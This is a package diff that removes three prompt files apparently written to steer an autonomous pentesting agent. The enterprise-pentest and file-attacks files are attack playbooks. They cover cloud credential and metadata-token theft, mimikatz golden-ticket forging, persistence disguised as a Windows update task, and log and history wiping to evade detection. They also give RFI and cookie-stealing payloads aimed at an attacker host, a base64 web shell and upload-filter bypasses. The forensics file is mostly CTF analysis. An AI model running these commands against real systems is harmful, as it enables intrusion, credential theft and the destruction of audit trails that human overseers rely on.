pentesting 0.73.13 → 0.90.1

package/dist/prompts/techniques/enterprise-pentest.md

@@ -1,175 +0,0 @@
-# Enterprise Pentest — Internal Network Autonomous Assessment
-
-> **§3 Minimal Specification**: This is a **Bootstrap Reference**, not a prescribed order.
-> Adapt based on `get_state`, attack graph observations, and live target behavior.
-> **Cross-ref**: ad-attack.md (AD attacks), pivoting.md (lateral movement), zero-day.md (C4)
-
----
-
-## Core Principle
-
-```
-Enterprise environments = layered defense + network segmentation + centralized AD + cloud integration
-
-Priority:
-  1. Map internal network first → identify segments, DCs, critical services
-  2. Maximize lateral movement with captured credentials
-  3. AD domain → Forest compromise for full privilege escalation
-  4. Cloud (AWS/Azure/GCP) pivoting to complete hybrid environment takeover
-```
-
----
-
-## Phase 1: Internal Network Enumeration (Immediately after foothold)
-
-```
-SEGMENT DISCOVERY (run immediately after first shell):
-├── ip a / ifconfig            → network interfaces + IP ranges
-├── ip route / netstat -rn     → routing table → internal subnet list
-├── arp -a                     → directly connected hosts
-├── cat /etc/hosts             → internal hostname mappings
-└── cat /etc/resolv.conf       → internal DNS server → domain enumeration base
-
-ADJACENT SUBNET SCAN:
-  nmap -sn 10.x.x.0/24
-  for sub in $(seq 1 20); do nmap -sn 10.$sub.0.0/24; done
-
-DNS ENUMERATION:
-  dig axfr @internal_dns domain.corp
-  dnsrecon -d corp.local -t axfr
-  for i in $(seq 1 254); do host 10.x.x.$i; done | grep "domain name pointer"
-```
-
----
-
-## Phase 2: Critical Internal Service Discovery
-
-```
-CRITICAL SERVICES TO FIND:
-┌─────────────────────────────────────────────────────────────────────┐
-│ Service               Port       Attack Vector                       │
-├─────────────────────────────────────────────────────────────────────┤
-│ Active Directory DC   88/389/636  Kerberos/LDAP/LDAPS               │
-│ SCCM/WSUS            8530/8531   Privilege escalation, malicious     │
-│                                   update delivery                    │
-│ Exchange/Mail         25/443      Internal phishing, relay attacks   │
-│ Corporate CA (ADCS)   80/443      ESC1~13 ADCS vulnerabilities      │
-│ Jump Host/Bastion     22/3389     Lateral movement hub               │
-│ Database servers      1433/3306/5432 Credential reuse + data dump   │
-│ DevOps infra          8080/9000   Jenkins/SonarQube weak auth →     │
-│                                   code execution                     │
-│ Cloud Metadata        169.254.169.254 IAM credential access         │
-└─────────────────────────────────────────────────────────────────────┘
-
-SCCM ATTACKS (Enterprise-specific):
-  1. net group "SMS Admins" /domain → SCCM administrator list
-  2. Extract SCCM NAA (Network Access Account) credentials
-  3. Tools: SCCMHunter, SharpSCCM
-  web_search("SCCM attack lateral movement credential extraction {year}")
-
-EXCHANGE ATTACKS:
-  1. ProxyShell/ProxyLogon: check CVE → run PoC
-  2. NTLM relay: responder + ntlmrelayx → capture Exchange auth
-  3. EWS (Exchange Web Services): ruler, EWSoauth
-```
-
----
-
-## Phase 3: AD Forest Attacks (after single domain compromise)
-
-```
-FOREST TRUST EXPLOITATION:
-├── Discover trust relationships:
-│   nltest /domain_trusts
-│   PowerView: Get-DomainTrust
-│
-├── SID History attack (cross-forest movement):
-│   - Current domain DA → target forest Enterprise Admin
-│   - mimikatz lsadump::trust /patch → extract trust key
-│   - kerberos::golden /user:Administrator /domain:corp.local
-│     /sid:S-1-5-21-... /sids:S-1-5-21-TARGET-519 /rc4:TRUSTKEY
-│
-├── External Trust → Kerberoast across trust:
-│   Get-DomainUser -Domain external.corp -SPN
-│   Invoke-Kerberoast -Domain external.corp | Export-CSV
-│
-└── SID Filtering bypass:
-    web_search("SID filtering bypass forest trust attack {year}")
-
-ENTERPRISE ADMIN PATHS:
-  1. Achieve DA in all domains → target Enterprise Admin directly
-  2. Schema Admin path → AD schema modification
-  3. Corp CA (ADCS) ESC6/ESC8 → Enterprise Admin certificate
-```
-
----
-
-## Phase 4: Cloud Pivoting (Hybrid environments)
-
-```
-ON-PREM → CLOUD PIVOT:
-
-Credential sources:
-  env | grep -iE "aws|azure|gcp|secret|key|token"
-  find / -name "*.env" -o -name "credentials" -o -name "*.pem" -o -name "*.json" 2>/dev/null
-  cat ~/.aws/credentials ~/.azure/credentials ~/.config/gcloud/credentials.db
-
-AWS ESCALATION:
-  aws sts get-caller-identity              → current identity
-  aws iam list-attached-user-policies      → current permissions
-  aws iam list-roles                       → assumable roles
-  aws sts assume-role --role-arn arn:...   → privilege escalation
-  → Goal: AdministratorAccess policy acquisition
-  web_search("AWS privilege escalation IAM misconfiguration {year}")
-
-AZURE ESCALATION:
-  az login --use-device-code (or use stolen token)
-  az account list                          → accessible subscriptions
-  az vm list                               → VM inventory
-  az keyvault secret list --vault-name ... → dump secrets
-  Managed Identity → az role assignment list → check permissions
-  web_search("Azure privilege escalation managed identity {year}")
-
-GCP ESCALATION:
-  gcloud auth list                         → authenticated accounts
-  gcloud projects list                     → accessible projects
-  gcloud iam service-accounts list         → service account list
-  gcloud compute instances list            → VM inventory
-  web_search("GCP privilege escalation service account {year}")
-
-IMDS (Instance Metadata Service) attack:
-  AWS:   curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
-  Azure: curl -H "Metadata:true" http://169.254.169.254/metadata/identity/oauth2/token
-  GCP:   curl "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token" \
-              -H "Metadata-Flavor:Google"
-```
-
----
-
-## Phase 5: Long-term Persistence
-
-```
-ENTERPRISE PERSISTENCE (minimize detection risk):
-├── Domain level: Golden Ticket (10-year validity) → exfiltrate krbtgt hash offline
-├── Silver Ticket: service-specific TGS → permanent access to specific service
-├── Scheduled task: schtasks /create /tn "WindowsUpdate" /tr ... /sc daily (disguised)
-├── WMI persistence: wmic /namespace:\\root\subscription event handler
-└── Cloud: backdoor IAM user / Lambda trigger / Lambda persistence
-
-EVIDENCE CLEANUP (post-detection):
-  Windows: wevtutil cl System; wevtutil cl Security; wevtutil cl Application
-  Linux:   echo -n > /var/log/auth.log; history -c; unset HISTFILE
-  Note: Log deletion itself is an IOC — minimal footprint is the guiding principle
-```
-
----
-
-## Search Patterns
-
-```
-web_search("enterprise pentest internal network lateral movement {year}")
-web_search("SCCM attack chain privilege escalation credential extraction {year}")
-web_search("AD forest trust attack SID filtering bypass Enterprise Admin {year}")
-web_search("cloud AWS Azure GCP privilege escalation IAM misconfiguration {year}")
-web_search("Exchange server ProxyShell ProxyLogon {version} exploit")
-```

package/dist/prompts/techniques/file-attacks.md

@@ -1,144 +0,0 @@
-# File-Based Attacks — Comprehensive Autonomous Guide
-
-> **Cross-ref**: injection.md (for injection via files), shells.md (web shells), evasion.md (filter bypass)
-
-##  Core Principle
-Files are one of the most powerful attack vectors. There are dozens of file-based
-attack techniques, each with hundreds of bypass variants. Search and adapt.
-
-##  File Attack Type Map
-
-```
-FILE-BASED ATTACK CATEGORIES:
-│
-├── 1. Local File Inclusion (LFI)
-│   ├── Basic: ../../etc/passwd, ....//....//etc/passwd
-│   ├── Null byte: ../../etc/passwd%00 (PHP < 5.3.4)
-│   ├── Double encoding: %252e%252e%252f
-│   ├── UTF-8 overlong: %c0%ae%c0%ae/
-│   ├── Wrappers (PHP): php://filter, php://input, data://, expect://, zip://, phar://
-│   │   ├── Read source: php://filter/read=convert.base64-encode/resource=config.php
-│   │   ├── RCE: php://input + POST body with PHP code
-│   │   ├── RCE: data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjJ10pOz8+
-│   │   ├── RCE: expect://id  (if expect wrapper enabled)
-│   │   └── RCE: phar://malicious.phar (deserialization via phar metadata)
-│   ├── Windows: ..\..\windows\system32\drivers\etc\hosts
-│   ├── Interesting files to read:
-│   │   ├── Linux: /etc/passwd, /etc/shadow, /proc/self/environ, /proc/self/cmdline
-│   │   ├── Web: /var/www/html/.env, wp-config.php, config.php, database.yml
-│   │   ├── SSH: /home/*/.ssh/id_rsa, /root/.ssh/id_rsa
-│   │   ├── Logs: /var/log/apache2/access.log (for log poisoning → RCE)
-│   │   ├── Proc: /proc/self/fd/N (leaked file descriptors)
-│   │   └── Windows: C:\Windows\win.ini, C:\boot.ini, web.config
-│   └── LFI → RCE CHAINS:
-│       ├── Log poisoning: inject PHP via User-Agent → include apache/nginx log
-│       ├── /proc/self/environ: inject PHP via User-Agent/Referer header
-│       ├── PHP session files: inject into session → include /tmp/sess_SESSIONID
-│       ├── Temp files: race condition upload → include before cleanup
-│       ├── Mail log: send email with PHP code → include /var/mail/www-data
-│       └── web_search("LFI to RCE techniques {year}")
-│
-├── 2. Remote File Inclusion (RFI)
-│   ├── Basic: ?page=http://attacker.com/shell.txt
-│   ├── Requires: allow_url_include=On (PHP)
-│   ├── Protocol: http://, https://, ftp://
-│   ├── Null byte bypass: ?page=http://attacker.com/shell.txt%00
-│   └── Often disabled — check and try, but LFI is more common
-│
-├── 3. Path Traversal (Directory Traversal)
-│   ├── Basic: ../../../etc/passwd
-│   ├── Encoded: %2e%2e%2f, %2e%2e/, ..%2f
-│   ├── Double encoded: %252e%252e%252f
-│   ├── Unicode: ..%c0%af, ..%ef%bc%8f
-│   ├── Oversized: ....//, ....\/
-│   ├── Absolute path: /etc/passwd (if app blindly prepends dir)
-│   ├── Null byte: ../etc/passwd%00.png (bypass extension checks)
-│   ├── In API parameters, cookies, headers, file names, ZIP entries
-│   └── Use payload_mutate with context="path" for systematic variants
-│
-├── 4. File Upload Attacks
-│   ├── BYPASS CATEGORIES (try ALL when blocked):
-│   │   ├── Extension bypass:
-│   │   │   ├── Double extension: shell.php.jpg, shell.jpg.php
-│   │   │   ├── Alternative extensions: .php3, .php4, .php5, .phtml, .phar, .phps
-│   │   │   ├── Case: .PHP, .Php, .pHp
-│   │   │   ├── Special chars: shell.php%00.jpg, shell.php\x00.jpg, shell.php;.jpg
-│   │   │   ├── Dot trailing: shell.php., shell.php..
-│   │   │   ├── Space: shell.php (with trailing space)
-│   │   │   └── web_search("file upload extension bypass {language}")
-│   │   │
-│   │   ├── Content-Type bypass:
-│   │   │   ├── Change Content-Type to image/jpeg, image/png, image/gif
-│   │   │   └── Keep malicious content, fake the content-type header
-│   │   │
-│   │   ├── Magic bytes bypass:
-│   │   │   ├── GIF89a<?php system($_GET['cmd']); ?> (GIF header)
-│   │   │   ├── \xFF\xD8\xFF\xE0 + PHP code (JPEG header)
-│   │   │   ├── \x89PNG\r\n\x1a\n + PHP code (PNG header)
-│   │   │   └── Prepend legitimate file header to malicious code
-│   │   │
-│   │   ├── Server processing bypass:
-│   │   │   ├── .htaccess upload: AddType application/x-httpd-php .jpg
-│   │   │   ├── web.config upload (IIS): handlers → execute aspx
-│   │   │   ├── Polyglot files: valid image AND valid PHP/JSP/ASP
-│   │   │   └── Filename manipulation: shell.php%20, shell.php::$DATA (Windows ADS)
-│   │   │
-│   │   └── Race condition:
-│   │       ├── Upload → access before validation/deletion
-│   │       ├── Write script for concurrent upload + access
-│   │       └── web_search("file upload race condition exploit")
-│   │
-│   ├── POST-UPLOAD EXPLOITATION:
-│   │   ├── Access uploaded shell: try common upload dirs
-│   │   │   /uploads/, /images/, /media/, /files/, /tmp/, /static/
-│   │   ├── If path unknown: LFI to find path, or fuzz the upload directory
-│   │   └── Upgrade web shell to reverse shell (see shells.md)
-│   │
-│   └── SEARCH PATTERN:
-│       web_search("file upload bypass techniques {year}")
-│       web_search("{framework} file upload vulnerability")
-│       web_search("file upload {defense} bypass")
-│
-├── 5. ZIP/Archive Attacks
-│   ├── Zip Slip: path traversal in archive (../../../etc/cron.d/evil)
-│   ├── ZIP symlink: include symlink to /etc/passwd → extracted by server
-│   ├── ZIP bomb: denial of service (if relevant)
-│   ├── Polyglot ZIP: valid ZIP + valid PHP
-│   └── web_search("zip slip vulnerability exploitation")
-│
-├── 6. Symlink Attacks
-│   ├── Create symlink to sensitive file → access through web
-│   ├── Race condition: symlink swap between check and use (TOCTOU)
-│   ├── Git symlink: include symlink in git repo → checkout reads target file
-│   └── Relevant in: file upload, archive extraction, temp file operations
-│
-├── 7. Server-Side Processing Attacks
-│   ├── ImageMagick (ImageTragick): web_search("imagemagick exploit CVE-2016-3714")
-│   │   ├── SVG with embedded commands
-│   │   ├── MVG file format exploitation
-│   │   └── Ghostscript exploitation
-│   ├── FFmpeg: SSRF via HLS playlist, local file read
-│   ├── LibreOffice: macro execution, SSRF via document links
-│   ├── PDF generators (wkhtmltopdf, dompdf): SSRF, XSS, local file read
-│   │   ├── <iframe src="file:///etc/passwd">
-│   │   ├── <script>document.location="http://attacker/?"+document.cookie</script>
-│   │   └── web_search("{pdf_generator} SSRF local file read")
-│   └── Document parsers: DOCX/XLSX (XXE via embedded XML), CSV injection
-│
-└── 8. SSRF via File Operations
-    ├── URL parameter → file:///etc/passwd, gopher://, dict://
-    ├── Cloud metadata: http://169.254.169.254/latest/meta-data/
-    ├── Internal services: http://localhost:6379/ (Redis), http://localhost:9200/ (Elastic)
-    └── See web.md SSRF section for comprehensive SSRF methodology
-```
-
-## 🧠 File Attack Search Patterns
-```
-web_search("LFI to RCE {language} {framework} techniques")
-web_search("file upload bypass {defense} {year}")
-web_search("path traversal {application} CVE")
-web_search("{file_type} polyglot {language}")
-web_search("file inclusion wrapper {language}")
-web_search("PayloadsAllTheThings file inclusion")
-web_search("PayloadsAllTheThings upload")
-```

package/dist/prompts/techniques/forensics.md

@@ -1,313 +0,0 @@
-# Forensics & Steganography — Comprehensive CTF Guide
-
-> **Cross-ref**: file-attacks.md (file operations), pwn.md (binary analysis)
-
-## Phase 0: File Analysis — Universal First Steps
-
-```
-With ANY unknown file:
-├── file <file>          → identify type (NEVER trust extension alone!)
-├── strings <file>       → extract readable strings
-├── strings -el <file>   → UTF-16 strings (Windows executables)
-├── xxd <file> | head    → hex dump first bytes (check magic bytes)
-├── exiftool <file>      → metadata (GPS, creator, timestamps, hidden fields)
-├── binwalk <file>       → embedded files/filesystems
-│   └── binwalk -e <file>  → extract embedded files
-├── foremost <file>      → file carving (alternative to binwalk)
-└── entropy analysis:
-    binwalk -E <file>    → high entropy = encrypted/compressed
-
-Magic bytes quick reference:
-├── 89 50 4E 47      → PNG
-├── FF D8 FF         → JPEG
-├── 47 49 46 38      → GIF
-├── 50 4B 03 04      → ZIP (also DOCX, XLSX, APK, JAR)
-├── 1F 8B            → GZIP
-├── 42 5A 68         → BZIP2
-├── 7F 45 4C 46      → ELF (Linux binary)
-├── 4D 5A            → PE (Windows executable)
-├── 25 50 44 46      → PDF
-├── D0 CF 11 E0      → MS Office (OLE2) — DOC, XLS, PPT
-├── 52 49 46 46      → RIFF (WAV, AVI, WebP)
-└── 00 00 00 18/20   → MP4 (ftyp)
-
-File repair:
-├── Corrupted header? → fix magic bytes manually with hex editor
-├── PNG: pngcheck -v <file> → diagnose chunk errors
-│   Fix CRC: python3 script to recalculate chunk CRC
-│   Fix IHDR: width/height may be wrong → brute-force dimensions
-├── ZIP: zip -FF corrupt.zip --out fixed.zip → repair archive
-└── JPEG: truncated? → might still have flag in extractable data
-```
-
-## Steganography
-
-```
-═══════════════════════════════════════
-Image Steganography:
-═══════════════════════════════════════
-
-JPEG:
-├── steghide extract -sf <image.jpg> -p ""    → try empty password first
-├── steghide extract -sf <image.jpg> -p <pw>  → with password
-├── stegseek <image.jpg> rockyou.txt          → brute force steghide password
-├── stegcracker <image.jpg> rockyou.txt       → alternative brute force
-├── jsteg reveal <image.jpg>                  → jsteg extraction
-└── outguess -r <image.jpg> output.txt        → outguess extraction
-
-PNG / BMP:
-├── zsteg <image.png>              → LSB analysis (multiple channels, orders)
-├── zsteg -a <image.png>           → try ALL extraction methods
-├── pngcheck -v <image.png>        → PNG structure validation
-├── IDAT chunks: hidden data after IEND marker
-│   python3 -c "data=open('img.png','rb').read(); print(data[data.index(b'IEND')+8:])"
-├── LSB manual extraction:
-│   from PIL import Image
-│   img = Image.open('img.png')
-│   bits = ''.join(str(px & 1) for px in img.getdata() for _ in [px] if isinstance(px, int))
-│   # or for RGB: iterate R,G,B channels separately
-└── Compare two similar images:
-    compare <img1> <img2> diff.png  (ImageMagick)
-    → pixel differences often reveal hidden data
-
-GIF:
-├── Multiple frames may hide data across frames
-├── identify -verbose <file.gif> → frame count
-├── convert <file.gif> frame_%d.png → extract all frames
-└── Hidden frame with very short display time
-
-General image:
-├── StegSolve.jar → visual analysis (bit plane viewer, color channels)
-├── CyberChef: Extract LSB
-├── Compare file size to expected → hidden data appended
-└── Check alpha channel (transparency) for hidden data
-    from PIL import Image
-    img = Image.open('img.png').split()[-1]  # alpha channel
-
-═══════════════════════════════════════
-Audio Steganography:
-═══════════════════════════════════════
-├── Audacity → spectrogram view (Analyze → Plot Spectrum or View → Spectrogram)
-│   Hidden images/text visible in frequency domain
-├── sonic-visualiser → detailed spectrogram layers
-├── DTMF decoder → phone dial tones (multimon-ng)
-├── morse-decoder → morse code in audio
-├── wav hidden data:
-│   python3 → read raw samples → LSB extraction
-│   stegolsb wavsteg -r -i audio.wav -o output.txt
-├── SSTV (Slow-Scan Television):
-│   qsstv or RX-SSTV → decode image from audio signal
-│   Common in space/radio-themed CTFs
-└── mp3stego → MP3-specific steganography
-
-═══════════════════════════════════════
-Text / Document Steganography:
-═══════════════════════════════════════
-├── Whitespace stego: stegsnow -C <file>
-│   Tabs and spaces encode binary data at end of lines
-├── Zero-width characters: Unicode U+200B, U+200C, U+200D, U+FEFF
-│   cat -v <file> | grep -o '\xE2\x80[\x8B-\x8F]' → detect
-├── Homoglyph attacks: visually identical but different Unicode chars
-│   'а' (Cyrillic) vs 'a' (Latin) → different bytes
-├── Line-ending manipulation: CRLF vs LF patterns encode bits
-├── PDF steganography:
-│   ├── pdf-parser.py <file.pdf> → analyze objects
-│   ├── Hidden JavaScript: /JavaScript, /JS keys
-│   ├── Embedded files in PDF streams
-│   ├── Invisible text (white on white)
-│   └── pdftotext <file.pdf> → extract all text
-└── Office documents (DOCX/XLSX):
-    ├── unzip <file.docx> → extract XML contents
-    ├── Hidden text (white font, tiny size)
-    ├── Document properties / custom metadata
-    └── Embedded OLE objects / macros
-```
-
-## Network Forensics (PCAP)
-
-```
-═══════════════════════════════════════
-Wireshark / tshark analysis:
-═══════════════════════════════════════
-├── tshark -r file.pcap -T fields -e data     → raw data extraction
-├── tshark -r file.pcap -Y "http" -T fields -e http.request.uri
-├── tshark -r file.pcap -Y "ftp" -T fields -e ftp.request.arg
-├── Follow TCP stream: tcp.stream eq <N>
-├── Export HTTP objects: File → Export Objects → HTTP
-└── Statistics → Protocol Hierarchy → see what protocols are used
-
-═══════════════════════════════════════
-Common PCAP patterns in CTF:
-═══════════════════════════════════════
-├── HTTP: credentials in POST, file downloads, flag in response
-├── FTP: RETR/STOR commands → extract transferred files
-│   tshark -r file.pcap -Y "ftp-data" -T fields -e data | xxd -r -p > extracted
-├── DNS exfiltration:
-│   ├── Subdomain encoding: base64/hex data in query names
-│   ├── TXT records containing hidden data
-│   └── tshark -r file.pcap -Y "dns.qry.type==16" -T fields -e dns.txt
-├── ICMP tunneling:
-│   ├── Data hidden in ICMP payload (ping data section)
-│   └── tshark -r file.pcap -Y "icmp" -T fields -e data
-├── TLS/SSL:
-│   ├── If RSA private key available: edit → preferences → TLS → RSA keys
-│   ├── If SSLKEYLOGFILE available: set in TLS preferences → pre-master secret log
-│   └── Check for self-signed certs, weak ciphers, heartbleed
-├── USB keyboard capture:
-│   ├── tshark -r file.pcap -Y "usb.transfer_type==0x01" -T fields -e usbhid.data
-│   └── Map HID keycodes to characters (0x04=a, 0x05=b, ...)
-├── WiFi (802.11):
-│   ├── aircrack-ng file.pcap -w rockyou.txt → crack WPA
-│   └── airdecap-ng -p <password> file.pcap → decrypt traffic
-└── Custom protocols:
-    ├── Unknown ports → analyze payload patterns manually
-    └── Scapy: rdpcap('file.pcap') → programmatic analysis
-
-═══════════════════════════════════════
-Key Wireshark filters:
-═══════════════════════════════════════
-├── http.request.method == "POST"  → credential submissions
-├── ftp.request.command == "PASS"  → FTP passwords
-├── smtp contains "AUTH"           → email credentials
-├── tcp.flags.syn == 1             → connection attempts
-├── frame contains "flag"          → direct flag search
-├── !(arp || dns || mdns)          → filter noise
-├── ip.addr == 10.0.0.1            → specific host traffic
-└── tcp.port == 4444               → specific port (reverse shell?)
-```
-
-## Memory Forensics
-
-```
-═══════════════════════════════════════
-Volatility 3 (preferred):
-═══════════════════════════════════════
-Profile detection:
-├── vol3 -f memory.dmp banners.Banners     → detect OS
-├── vol3 -f memory.dmp windows.info        → Windows version info
-└── vol3 -f memory.dmp linux.bash          → Linux bash history
-
-Key plugins — Windows:
-├── vol3 -f memory.dmp windows.pslist      → process list
-├── vol3 -f memory.dmp windows.pstree      → process tree
-├── vol3 -f memory.dmp windows.cmdline     → command history
-├── vol3 -f memory.dmp windows.filescan    → file handles in memory
-├── vol3 -f memory.dmp windows.dumpfiles   → extract files
-│   --pid <PID> → filter by process
-├── vol3 -f memory.dmp windows.hashdump    → SAM password hashes → crack with hashcat!
-├── vol3 -f memory.dmp windows.netscan     → network connections
-├── vol3 -f memory.dmp windows.registry.hivelist → registry hives
-├── vol3 -f memory.dmp windows.registry.printkey → dump registry key
-├── vol3 -f memory.dmp windows.malfind     → detect injected code
-├── vol3 -f memory.dmp windows.envars      → environment variables (FLAG!)
-└── vol3 -f memory.dmp windows.clipboard   → clipboard content
-
-Key plugins — Linux:
-├── vol3 -f memory.dmp linux.pslist        → processes
-├── vol3 -f memory.dmp linux.bash          → bash history (FLAG!)
-├── vol3 -f memory.dmp linux.check_syscall → rootkit detection
-├── vol3 -f memory.dmp linux.proc.Maps     → memory maps
-└── strings memory.dmp | grep -i "flag\|password\|secret\|key"
-
-═══════════════════════════════════════
-Volatility 2 (older workflow):
-═══════════════════════════════════════
-├── vol.py -f memory.dmp imageinfo         → determine profile
-├── vol.py -f memory.dmp --profile=<P> pslist
-├── vol.py -f memory.dmp --profile=<P> hashdump
-├── vol.py -f memory.dmp --profile=<P> mimikatz  → credential extraction
-├── vol.py -f memory.dmp --profile=<P> memdump -p <PID> -D output/
-└── vol.py -f memory.dmp --profile=<P> timeliner → timeline analysis
-
-═══════════════════════════════════════
-Quick wins in memory forensics:
-═══════════════════════════════════════
-├── 1. strings + grep for flag patterns FIRST (fastest!)
-├── 2. Process list → suspicious process? → dump its memory
-├── 3. Command history (cmdline/bash) → look for flag manipulation
-├── 4. Environment variables → flag stored in env
-├── 5. Network connections → hidden services, exfiltration
-├── 6. File scan → find flag.txt, secret.txt in memory
-├── 7. Registry → passwords, recent documents, USB history
-└── 8. Clipboard → copied passwords/flags
-```
-
-## Disk Forensics
-
-```
-═══════════════════════════════════════
-Disk / Filesystem Analysis:
-═══════════════════════════════════════
-├── fdisk -l disk.img               → partition layout
-├── mmls disk.img                   → partition table (sleuthkit)
-├── mount -o loop,ro,offset=<N> disk.img /mnt  → mount partition
-│   offset = start_sector × 512
-├── autopsy                         → GUI forensic suite
-├── Sleuthkit tools:
-│   ├── fls -r disk.img            → list all files (including deleted!)
-│   ├── icat disk.img <inode>      → extract file by inode
-│   ├── blkcat disk.img <block>    → read specific block
-│   └── tsk_recover -e disk.img output/ → recover all files
-├── photorec disk.img              → recover deleted files (by file signature)
-├── testdisk disk.img              → partition recovery + file undelete
-└── Check slack space:
-    blkstat disk.img <block>       → check if block is allocated
-
-═══════════════════════════════════════
-Specific filesystem features:
-═══════════════════════════════════════
-├── NTFS Alternate Data Streams:
-│   ├── dir /r                     → list ADS on Windows
-│   ├── getfattr -R -d /mnt/*     → list ADS on mounted NTFS
-│   └── cat /mnt/file:hidden_stream → read ADS content
-├── ext4 extended attributes:
-│   ├── getfattr -d <file>         → list xattrs
-│   └── Journal: jls / jcat to read deleted journal entries
-├── FAT filesystem:
-│   ├── No file permissions → everything is readable
-│   ├── Deleted files: filename starts with 0xE5
-│   └── Volume label may contain clues
-└── Filesystem timeline:
-    fls -m "/" -r disk.img | mactime -b - > timeline.csv
-    → chronological view of file access/modification/creation
-```
-
-## Archive Analysis
-
-```
-Archive forensics:
-├── ZIP:
-│   ├── unzip -l archive.zip       → list contents without extracting
-│   ├── zipinfo archive.zip        → detailed structure
-│   ├── Known-plaintext attack: pkcrack → crack if partial content known
-│   ├── fcrackzip -b -c 'aA1!' -l 1-8 archive.zip → brute force
-│   ├── john --format=zip hash.txt → John the Ripper (zip2john first)
-│   └── Zip slip: path traversal via ../../ in filenames
-├── RAR:
-│   ├── rar2john archive.rar > hash.txt → extract hash
-│   └── hashcat -m 13000 hash.txt wordlist → crack
-├── 7z:
-│   └── 7z l -slt archive.7z     → detailed listing
-├── tar/gz/bz2:
-│   ├── tar tf archive.tar        → list contents
-│   └── Check timestamp/permissions for clues
-└── Nested archives:
-    Multiple compression layers (zip inside gz inside tar)
-    → automate: write script to recursively extract until flag found
-```
-
-## Firmware Analysis
-
-```
-├── binwalk -e firmware.bin        → extract filesystem
-├── firmware-mod-kit                → unpack/repack firmware
-├── Common filesystems: squashfs, jffs2, cramfs, yaffs2
-│   unsquashfs extracted/squashfs → mount squashfs
-├── Look for:
-│   ├── /etc/shadow or /etc/passwd → hardcoded credentials
-│   ├── /etc/config/* → configuration files with secrets
-│   ├── *.key, *.pem → private keys
-│   ├── Web interface source code → vulnerabilities
-│   └── Compiled binaries → reverse engineer
-└── Emulation: qemu or firmadyne → run firmware for dynamic analysis
-```